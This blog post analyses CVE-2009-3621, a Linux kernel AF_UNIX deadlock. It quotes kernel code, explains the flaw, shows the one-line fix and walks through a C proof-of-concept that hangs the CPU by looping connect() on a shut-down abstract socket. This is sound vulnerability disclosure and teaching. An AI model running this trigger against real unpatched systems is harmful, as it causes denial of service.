xorl %eax, %eax

CVE-2009-3621: Linux kernel AF_UNIX Deadlock

leave a comment »

This design flaw was reported Tomoki Sekiyama of Hitachi along with a PoC code to trigger the bug. Here is some code of 2.6.31 release of the Linux kernel…

static int unix_stream_connect(struct socket *sock, struct sockaddr *uaddr,
                               int addr_len, int flags)
{
        struct sockaddr_un *sunaddr = (struct sockaddr_un *)uaddr;
        struct sock *sk = sock->sk;
        struct net *net = sock_net(sk);
        struct unix_sock *u = unix_sk(sk), *newu, *otheru;
        struct sock *newsk = NULL;
        struct sock *other = NULL;
        struct sk_buff *skb = NULL;
        unsigned hash;
        int st;
        int err;
        long timeo;
   ...
restart:
        /*  Find listening sock. */
        other = unix_find_other(net, sunaddr, addr_len, sk->sk_type, hash, &err);
        if (!other)
                goto out;
   ...
        err = -ECONNREFUSED;
        if (other->sk_state != TCP_LISTEN)
                goto out_unlock;
   ...
        if (unix_peer(other) != sk && unix_recvq_full(other)) {
   ...
                timeo = unix_wait_for_peer(other, timeo);
   ...
                goto restart;
   ...
        }
   ...
out_unlock:
        if (other)
                unix_state_unlock(other);

out:
        kfree_skb(skb);
        if (newsk)
                unix_release_sock(newsk, 0);
        if (other)
                sock_put(other);
        return err;
}

The problem with the above code arises when a user creates a UNIX domain socket (aka reaches the above routine), then shuts it down using shutdown(2) system call and connects to it enough times to reach the connect(2) backlog limit. If this is the case, unix_stream_connect() does not check the case of a socket that was being shut down. Because of this, the if clause for unix_peer() and unix_recvq_full() will return true and thus, invoke unix_wait_for_peer() and then jump to label ‘restart’. The latter routine checks for shutdown state:

static long unix_wait_for_peer(struct sock *other, long timeo)
{
     ...
        sched = !sock_flag(other, SOCK_DEAD) &&
                !(other->sk_shutdown & RCV_SHUTDOWN) &&
                unix_recvq_full(other);
     ...
        if (sched)
                timeo = schedule_timeout(timeo);
     ...
        return timeo;
}

But unix_stream_connect() will continue jumping back to ‘restart’ after calling unix_wait_for_peer() forever. This deadlock between unix_stream_connect() and unix_wait_for_peer() will result in a CPU DoS after a few seconds.
The fix is quite simple.

 	if (other->sk_state != TCP_LISTEN)
 		goto out_unlock;
+	if (other->sk_shutdown & RCV_SHUTDOWN)
+		goto out_unlock;

 	if (unix_recvq_full(other)) {

A check for a possible shutdown socket was added that will immediately move to ‘out_unlock’ and consequently, escape the deadlock.
Now, to the PoC trigger code…
First of all, as Eugene Teo spotted, add the missing header files :P

int main(void)
{
	int ret;
	int csd;
	int lsd;
	struct sockaddr_un sun;

	/* make an abstruct name address (*) */
	memset(&sun, 0, sizeof(sun));
	sun.sun_family = PF_UNIX;
	sprintf(&sun.sun_path[1], "%d", getpid());

He initializes a UNIX domain socket structure by setting its file pathname member to our process’ ID. Its also important to note that sun.sun_path[0] was intitialized with 0 and this results in using the abstract namespace. As Tomoki Sekiyama noted, using a file socket the deadlock will be avoided because of context switches in the file system layer. And next…

	/* create the listening socket and shutdown */
	lsd = socket(AF_UNIX, SOCK_STREAM, 0);
	bind(lsd, (struct sockaddr *)&sun, sizeof(sun));
	listen(lsd, 1);
	shutdown(lsd, SHUT_RDWR);

He creates a common UNIX domain socket and he uses bind(2) to bind it to the specified file. At last, he uses listen(2) with a backlog of 1 and shuts down the socket with ‘SHUT_RDWR’ to disallow any further trasmissions or receptions using shutdown(2) system call.

	/* connect loop */
	alarm(15); /* forcely exit the loop after 15 sec */
	for (;;) {
		csd = socket(AF_UNIX, SOCK_STREAM, 0);
		ret = connect(csd, (struct sockaddr *)&sun, sizeof(sun));
		if (-1 == ret) {
			perror("connect()");
			break;
		}
		puts("Connection OK");
	}
	return 0;
}

As you can read, he sets the alarm(2) to 15 seconds to forcely exit and he then enters an eternal ‘for’ loop. In that loop, he creates a UNIX domain socket and attempts to connect to the previously initialized ‘sockaddr_un’ structure.

Written by xorl

October 21, 2009 at 20:04

Posted in bugs, linux

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s